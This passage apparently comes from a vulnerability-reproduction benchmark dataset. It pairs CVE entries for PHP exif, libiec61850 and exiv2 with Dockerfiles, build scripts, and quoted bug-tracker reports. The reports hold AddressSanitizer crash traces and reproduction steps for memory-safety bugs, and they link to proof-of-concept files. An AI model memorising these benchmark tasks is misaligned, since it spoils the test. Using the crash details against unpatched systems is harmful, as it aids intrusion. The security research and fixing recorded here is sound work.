#18 0x1ae6e64 in main /f/php/php-7.0.5/sapi/cli/php_cli.c:1344:18
#19 0x7f88edb1078f in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r2/work/glibc-2.23/csu/../csu/libc-start.c:289
#20 0x462198 in _start (/mnt/ram/php/php+0x462198)
0x60c00000bab9 is located 0 bytes to the right of 121-byte region [0x60c00000ba40,0x60c00000bab9)
allocated by thread T0 here:
#0 0x50a008 in malloc (/mnt/ram/php/php+0x50a008)
#1 0x1614bc2 in _emalloc /f/php/php-7.0.5/Zend/zend_alloc.c:2446:11
#2 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#3 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
[Comment 3] [2016-04-25 02:35 UTC] [email protected]
Fixed in security repo as 082aecfc3a753ad03be82cf14f03ac065723ec92 and in gist: https://gist.github.com/452c5cf433f1bdeb66d6b28bae17b7ac
Please verify.
Links: https://gist.github.com/452c5cf433f1bdeb66d6b28bae17b7ac
[Comment 4] [2016-04-25 12:21 UTC] hanno at hboeck dot de
I can confirm that php 7.0.5 + the gist patch fixes all bugs.
[Comment 5] [2016-04-27 05:57 UTC] [email protected]
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
Links: http://snaps.php.net/, http://windows.php.net/snapshots/
[Comment 9] [2016-05-06 06:47 UTC] [email protected]
Use CVE-2016-4542 for the issue associated with the spprintf call.
Use CVE-2016-4543 for both issues in which "Illegal IFD size" validation was added.
Use CVE-2016-4544 for the issue in which "Invalid TIFF start" validation was added.
Commit References:
082aecfc3a753ad03be82cf14f03ac065723ec92
|
[] |
[
{
"sha": "082aecfc3a753ad03be82cf14f03ac065723ec92",
"url": "https://github.com/php/php-src/commit/082aecfc3a753ad03be82cf14f03ac065723ec92"
},
{
"sha": "c05240731",
"url": null
},
{
"sha": "c05320149",
"url": null
},
{
"sha": "c05390722",
"url": null
}
] |
libiec61850.cve-2019-16510
|
mz-automation/libiec61850
|
9881d248ec85e3be61cd29d048e3553be6974b4b
| 2019-03-18T11:47:51
|
libiec61850
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN git clone https://github.com/mz-automation/libiec61850 libiec61850
RUN git -C libiec61850 checkout 9881d248ec85e3be61cd29d048e3553be6974b4b
WORKDIR $SRC/libiec61850
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build && cd build
cmake ../
make -j$(nproc)
|
/src/libiec61850
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mz-automation/libiec61850/issues/164
## Description:
Issue: mz-automation/libiec61850#164
Title: Heap-use-after-free in server_example_goose
State: closed
Created by: c0d3xpl0it
Created at: 2019-09-09 18:14:27+00:00
Issue Body:
Hello we found Heap user after free vulnerability in server_example_goose binary.
**Below are steps followed to reproduce crash**
Download latest source code from : https://github.com/mz-automation/libiec61850.git and compiled using ASAN (cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -fsanitize=leak -g -ggdb -fno-omit-frame-pointer -static-libstdc++ -static-libasan" -DCMAKE_C_FLAGS="-fsanitize=address -fsanitize=leak -g -ggdb -fno-omit-frame-pointer -static-libstdc++ -static-libasan")
**GDB Output**
```
fuzzer@fuzzer:~/libiec61850/build/examples/server_example_goose$ ifconfig
ens160 Link encap:Ethernet HWaddr 00:0c:29:59:14:0c
inet addr:10.1.56.103 Bcast:10.1.56.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe59:140c/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2058541 errors:0 dropped:1800 overruns:0 frame:0
TX packets:1996637 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:319927035 (319.9 MB) TX bytes:947657776 (947.6 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:160 errors:0 dropped:0 overruns:0 frame:0
TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:11840 (11.8 KB) TX bytes:11840 (11.8 KB)
fuzzer@fuzzer:~/libiec61850/build/examples/server_example_goose$ gdb -q server_example_goose
Reading symbols from server_example_goose...done.
(gdb) run eth0
Starting program: /home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose eth0
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using GOOSE interface: eth0
[New Thread 0x7ffff49ff700 (LWP 14064)]
Starting server failed! Exit.
=================================================================
==14060==ERROR: AddressSanitizer: heap-use-after-free on address 0x61c00000f880 at pc 0x00000053c4c1 bp 0x7ffff49fee20 sp 0x7ffff49fee10
READ of size 8 at 0x61c00000f880 thread T1
#0 0x53c4c0 in MmsServer_waitReady /home/fuzzer/libiec61850/src/mms/iso_mms/server/mms_server.c:482
#1 0x4ebb57 in IedServer_waitReady /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:670
#2 0x4eb606 in singleThreadedServerThread /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:568
#3 0x5d5c3c in destroyAutomaticThread /home/fuzzer/libiec61850/hal/thread/linux/thread_linux.c:90
#4 0x7ffff7bc16b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
#5 0x7ffff71d441c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c)
0x61c00000f880 is located 0 bytes inside of 1760-byte region [0x61c00000f880,0x61c00000ff60)
freed by thread T0 here:
#0 0x4a78fa in __interceptor_free (/home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose+0x4a78fa)
#1 0x5d662c in Memory_free /home/fuzzer/libiec61850/hal/memory/lib_memory.c:82
#2 0x53bc0b in MmsServer_destroy /home/fuzzer/libiec61850/src/mms/iso_mms/server/mms_server.c:317
#3 0x4eb250 in IedServer_destroy /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:506
#4 0x4d7d81 in main /home/fuzzer/libiec61850/examples/server_example_goose/server_example_goose.c:82
#5 0x7ffff70ed82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x4a7dca in calloc (/home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose+0x4a7dca)
#1 0x5d65c5 in Memory_calloc /home/fuzzer/libiec61850/hal/memory/lib_memory.c:59
#2 0x53aada in MmsServer_create /home/fuzzer/libiec61850/src/mms/iso_mms/server/mms_server.c:53
#3 0x4eabb4 in IedServer_createWithConfig /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:435
#4 0x4eb193 in IedServer_create /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:484
#5 0x4d7c5c in main /home/fuzzer/libiec61850/examples/server_example_goose/server_example_goose.c:56
#6 0x7ffff70ed82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Thread T1 created by T0 here:
#0 0x4457c3 in pthread_create (/home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose+0x4457c3)
#1 0x5d5cc5 in Thread_start /home/fuzzer/libiec61850/hal/thread/linux/thread_linux.c:101
#2 0x4eb79a in IedServer_start /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:597
#3 0x4d7cda in main /home/fuzzer/libiec61850/examples/server_example_goose/server_example_goose.c:66
#4 0x7ffff70ed82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzzer/libiec61850/src/mms/iso_mms/server/mms_server.c:482 MmsServer_waitReady
Shadow bytes around the buggy address:
0x0c387fff9ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c387fff9ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c387fff9ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c387fff9ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c387fff9f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c387fff9f10:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c387fff9f20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c387fff9f30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c387fff9f40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c387fff9f50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c387fff9f60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==14060==ABORTING
[Thread 0x7ffff49ff700 (LWP 14064) exited]
[Inferior 1 (process 14060) exited with code 01]
(gdb)
```
**ASAN Output**
```
fuzzer@fuzzer:~/libiec61850/build/examples/server_example_goose$ ./server_example_goose eth0
Using GOOSE interface: eth0
Starting server failed! Exit.
=================================================================
==14023==ERROR: AddressSanitizer: heap-use-after-free on address 0x60700000dfd0 at pc 0x0000004eb566 bp 0x7fd1531fee60 sp 0x7fd1531fee50
READ of size 8 at 0x60700000dfd0 thread T1
#0 0x4eb565 in singleThreadedServerThread /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:556
#1 0x5d5c3c in destroyAutomaticThread /home/fuzzer/libiec61850/hal/thread/linux/thread_linux.c:90
#2 0x7fd1563b26b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
#3 0x7fd1559c541c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c)
0x60700000dfd0 is located 32 bytes inside of 80-byte region [0x60700000dfb0,0x60700000e000)
freed by thread T0 here:
#0 0x4a78fa in __interceptor_free (/home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose+0x4a78fa)
#1 0x5d662c in Memory_free /home/fuzzer/libiec61850/hal/memory/lib_memory.c:82
#2 0x4eb497 in IedServer_destroy /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:534
#3 0x4d7d81 in main /home/fuzzer/libiec61850/examples/server_example_goose/server_example_goose.c:82
#4 0x7fd1558de82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x4a7dca in calloc (/home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose+0x4a7dca)
#1 0x5d65c5 in Memory_calloc /home/fuzzer/libiec61850/hal/memory/lib_memory.c:59
#2 0x4ea824 in IedServer_createWithConfig /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:394
#3 0x4eb193 in IedServer_create /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:484
#4 0x4d7c5c in main /home/fuzzer/libiec61850/examples/server_example_goose/server_example_goose.c:56
#5 0x7fd1558de82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Thread T1 created by T0 here:
#0 0x4457c3 in pthread_create (/home/fuzzer/libiec61850/build/examples/server_example_goose/server_example_goose+0x4457c3)
#1 0x5d5cc5 in Thread_start /home/fuzzer/libiec61850/hal/thread/linux/thread_linux.c:101
#2 0x4eb79a in IedServer_start /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:597
#3 0x4d7cda in main /home/fuzzer/libiec61850/examples/server_example_goose/server_example_goose.c:66
#4 0x7fd1558de82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzzer/libiec61850/src/iec61850/server/impl/ied_server.c:556 singleThreadedServerThread
Shadow bytes around the buggy address:
0x0c0e7fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fd fd
0x0c0e7fff9bc0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
0x0c0e7fff9bd0: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x0c0e7fff9be0: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c0e7fff9bf0: fd fa fa fa fa fa fd fd fd fd[fd]fd fd fd fd fd
0x0c0e7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==14023==ABORTING
fuzzer@fuzzer:~/libiec61850/build/examples/server_example_goose$
```
Comments:
Comment by mzillgith on 2019-09-19 08:43:02+00:00:
Hello.
I cannot reproduce the problem. With branch v1.3 and v1.4 ASAN reports no problem when using the configuration you provided.
---
Comment by c0d3xpl0it on 2019-09-19 09:34:38+00:00:
Hello,
I was able to reproduce the issue with branch v1.3 on my setup.
```
Machine : Ubuntu 16.04.3 LTS
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)
```
Below are commands used.
```
git clone https://github.com/mz-automation/libiec61850
cd libiec61850/
mkdir build ; cd build
cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -fsanitize=leak -g -ggdb -fno-omit-frame-pointer -static-libstdc++ -static-libasan" -DCMAKE_C_FLAGS="-fsanitize=address -fsanitize=leak -g -ggdb -fno-omit-frame-pointer -static-libstdc++ -static-libasan" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address -fsanitize=leak -ggdb -fno-omit-frame-pointer -static-libstdc++ -static-libasan" -DCMAKE_MODULE_LINKER_FLAGS="-fsanitize=address -fsanitize=leak -ggdb -fno-omit-frame-pointer -static-libstdc++ -static-libasan"
AFL_USE_ASAN=1 make
cd examples/server_example_goose/
./server_example_goose eth0
Using GOOSE interface: eth0
Starting server failed! Exit.
=================================================================
==15186==ERROR: AddressSanitizer: heap-use-after-free on address 0x60700000dfd0 at pc 0x0000004eb566 bp 0x7f776bcfee60 sp 0x7f776bcfee50
READ of size 8 at 0x60700000dfd0 thread T1
#0 0x4eb565 in singleThreadedServerThread /home/fuzz/temp/libiec61850/src/iec61850/server/impl/ied_server.c:556
#1 0x5d5c3c in destroyAutomaticThread /home/fuzz/temp/libiec61850/hal/thread/linux/thread_linux.c:90
#2 0x7f776eec06b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
#3 0x7f776e4d341c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c)
0x60700000dfd0 is located 32 bytes inside of 80-byte region [0x60700000dfb0,0x60700000e000)
freed by thread T0 here:
#0 0x4a78fa in __interceptor_free (/home/fuzz/temp/libiec61850/build/examples/server_example_goose/server_example_goose+0x4a78fa)
#1 0x5d662c in Memory_free /home/fuzz/temp/libiec61850/hal/memory/lib_memory.c:82
#2 0x4eb497 in IedServer_destroy /home/fuzz/temp/libiec61850/src/iec61850/server/impl/ied_server.c:534
#3 0x4d7d81 in main /home/fuzz/temp/libiec61850/examples/server_example_goose/server_example_goose.c:82
#4 0x7f776e3ec82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x4a7dca in calloc (/home/fuzz/temp/libiec61850/build/examples/server_example_goose/server_example_goose+0x4a7dca)
#1 0x5d65c5 in Memory_calloc /home/fuzz/temp/libiec61850/hal/memory/lib_memory.c:59
#2 0x4ea824 in IedServer_createWithConfig /home/fuzz/temp/libiec61850/src/iec61850/server/impl/ied_server.c:394
#3 0x4eb193 in IedServer_create /home/fuzz/temp/libiec61850/src/iec61850/server/impl/ied_server.c:484
#4 0x4d7c5c in main /home/fuzz/temp/libiec61850/examples/server_example_goose/server_example_goose.c:56
#5 0x7f776e3ec82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Thread T1 created by T0 here:
#0 0x4457c3 in pthread_create (/home/fuzz/temp/libiec61850/build/examples/server_example_goose/server_example_goose+0x4457c3)
#1 0x5d5cc5 in Thread_start /home/fuzz/temp/libiec61850/hal/thread/linux/thread_linux.c:101
#2 0x4eb79a in IedServer_start /home/fuzz/temp/libiec61850/src/iec61850/server/impl/ied_server.c:597
#3 0x4d7cda in main /home/fuzz/temp/libiec61850/examples/server_example_goose/server_example_goose.c:66
#4 0x7f776e3ec82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzz/temp/libiec61850/src/iec61850/server/impl/ied_server.c:556 singleThreadedServerThread
Shadow bytes around the buggy address:
0x0c0e7fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fd fd
0x0c0e7fff9bc0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
0x0c0e7fff9bd0: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x0c0e7fff9be0: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c0e7fff9bf0: fd fa fa fa fa fa fd fd fd fd[fd]fd fd fd fd fd
0x0c0e7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==15186==ABORTING
```
Let me know if you can still reproduce the crash or not.
---
Comment by mzillgith on 2019-09-19 09:54:49+00:00:
Thanks for updated information.
I can now reproduce your ASAN output using Ubuntu 16.04.06. I tried before with Ubuntu 19.04 where the problem didn't show up.
---
Comment by mzillgith on 2019-09-19 13:55:44+00:00:
The problem was already fixed in v1.4 and should now also be fixed in v1.3 branch.
---
Comment by c0d3xpl0it on 2019-09-19 15:57:07+00:00:
[CVE-2019-16510](https://nvd.nist.gov/vuln/detail/CVE-2019-16510)
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_decode.options"
}
] |
[] |
exiv2.cve-2017-17725
|
exiv2/exiv2
|
fa449a4d2c58d63f0d75ff259f25683a98a44630
| 2017-04-26T14:16:21
|
exiv2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils
RUN git clone https://github.com/exiv2/exiv2 exiv2
RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630
WORKDIR $SRC/exiv2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" ..
make -j $(nproc)
|
/src/exiv2
|
address
|
================= Bug Report (1/2) ==================
## Source: Red Hat Bugzilla
## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1525055
## Description:
Bugzilla ID: 1525055
Title: exiv2 library: heap-buffer-overflow in Exiv2::getULong (types.cpp)
Description
Wei You 2017-12-12 14:36:13 UTC
Created attachment 1366691 [details]
poc to trigger the vulnerability
Description
on exiv2 0.26 (the latest version):
there is a heap-based buffer overflow in the Exiv2::getULong function (src/types.cpp), which can be triggered by crafted tiff file.
Note that this vulnerability is different from CVE-2017-14864, which is a an invalid memory address dereference.
./bin/exiv2 poc_3.tiff
=================================================================
==16413==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ef73 at pc 0x7f990f1613de bp 0x7ffee8097c30 sp 0x7ffee8097c20
READ of size 4 at 0x60200000ef73 thread T0
#0 0x7f990f1613dd in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder) /home/fuzz/exiv2/master/src/types.cpp:246
#1 0x7f990f053d2c in Exiv2::Jp2Image::readMetadata() /home/fuzz/exiv2/master/src/jp2image.cpp:271
#2 0x469742 in Action::Print::printSummary() /home/fuzz/exiv2/master/src/actions.cpp:288
#3 0x46e2e7 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits, std::allocator > const&) /home/fuzz/exiv2/master/src/actions.cpp:240
#4 0x40c18b in main /home/fuzz/exiv2/master/src/exiv2.cpp:166
#5 0x7f990e33d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#6 0x40cd48 in _start (/home/fuzz/exiv2/master/bin/exiv2+0x40cd48)
0x60200000ef75 is located 0 bytes to the right of 5-byte region [0x60200000ef70,0x60200000ef75)
allocated by thread T0 here:
#0 0x7f990faed6b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x7f990f053c49 in Exiv2::DataBuf::DataBuf(long) /home/fuzz/exiv2/master/include/exiv2/types.hpp:206
#2 0x7f990f053c49 in Exiv2::Jp2Image::readMetadata() /home/fuzz/exiv2/master/src/jp2image.cpp:269
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/exiv2/master/src/types.cpp:246 Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder)
Shadow bytes around the buggy address:
0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[05]fa
0x0c047fff9df0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa fd fd
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==16413==ABORTING
Reference:
https://github.com/Exiv2/exiv2/issues/188
Author
Credit to Wei You, please contact WeiYou1988 for more details.
Comments:
Comment 2
Wei You 2017-12-12 20:19:55 UTC
Created attachment 1366916 [details]
poc_2018-12-12_issue188
---
Comment 4
Jan Grulich 2019-01-28 16:08:30 UTC
Fixed with exiv2-0.27.0-1.el7_6.
---
Comment 8
errata-xmlrpc 2019-08-06 12:47:14 UTC
Since the problem described in this bug report should be
resolved in a recent advisory, it has been closed with a
resolution of ERRATA.
For information on the advisory, and where to find the updated
files, follow the link below.
If the solution does not work for you, open a new bug report.
https://access.redhat.com/errata/RHSA-2019:2101
Attachments:
Attachment 1366691: poc to trigger the vulnerability [Link: https://bugzilla.redhat.com/attachment.cgi?id=1366691]
Attachment 1366916: poc_2018-12-12_issue188 [Link: https://bugzilla.redhat.com/attachment.cgi?id=1366916]
================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/Exiv2/exiv2/issues/188
## Description:
Issue: Exiv2/exiv2#188
Title: CVE-2017-17725: exiv2 library: heap-buffer-overflow in Exiv2::getULong (types.cpp)
State: closed
Created by: youwei1988
Created at: 2017-12-12 14:27:30+00:00
Issue Body:
**Description**
on exiv2 0.26 (the latest version):
there is a heap-based buffer overflow in the Exiv2::getULong function (src/types.cpp), which can be triggered by crafted tiff file.
Note that this vulnerability is different from CVE-2017-14864 (issue 73), which is a an invalid memory address dereference.
./bin/exiv2 poc_3.tiff
=================================================================
==16413==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ef73 at pc 0x7f990f1613de bp 0x7ffee8097c30 sp 0x7ffee8097c20
READ of size 4 at 0x60200000ef73 thread T0
#0 0x7f990f1613dd in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder) /home/fuzz/exiv2/master/src/types.cpp:246
#1 0x7f990f053d2c in Exiv2::Jp2Image::readMetadata() /home/fuzz/exiv2/master/src/jp2image.cpp:271
#2 0x469742 in Action::Print::printSummary() /home/fuzz/exiv2/master/src/actions.cpp:288
#3 0x46e2e7 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/fuzz/exiv2/master/src/actions.cpp:240
#4 0x40c18b in main /home/fuzz/exiv2/master/src/exiv2.cpp:166
#5 0x7f990e33d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#6 0x40cd48 in _start (/home/fuzz/exiv2/master/bin/exiv2+0x40cd48)
0x60200000ef75 is located 0 bytes to the right of 5-byte region [0x60200000ef70,0x60200000ef75)
allocated by thread T0 here:
#0 0x7f990faed6b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x7f990f053c49 in Exiv2::DataBuf::DataBuf(long) /home/fuzz/exiv2/master/include/exiv2/types.hpp:206
#2 0x7f990f053c49 in Exiv2::Jp2Image::readMetadata() /home/fuzz/exiv2/master/src/jp2image.cpp:269
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/exiv2/master/src/types.cpp:246 Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder)
Shadow bytes around the buggy address:
0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[05]fa
0x0c047fff9df0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa fd fd
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==16413==ABORTING
**PoC**
PoC: https://github.com/youwei1988/poc/tree/master/exiv2/poc_3.tiff
**Author**
Credit to Wei You, please contact [email protected] for more details.
Comments:
Comment by D4N on 2017-12-12 14:50:17+00:00:
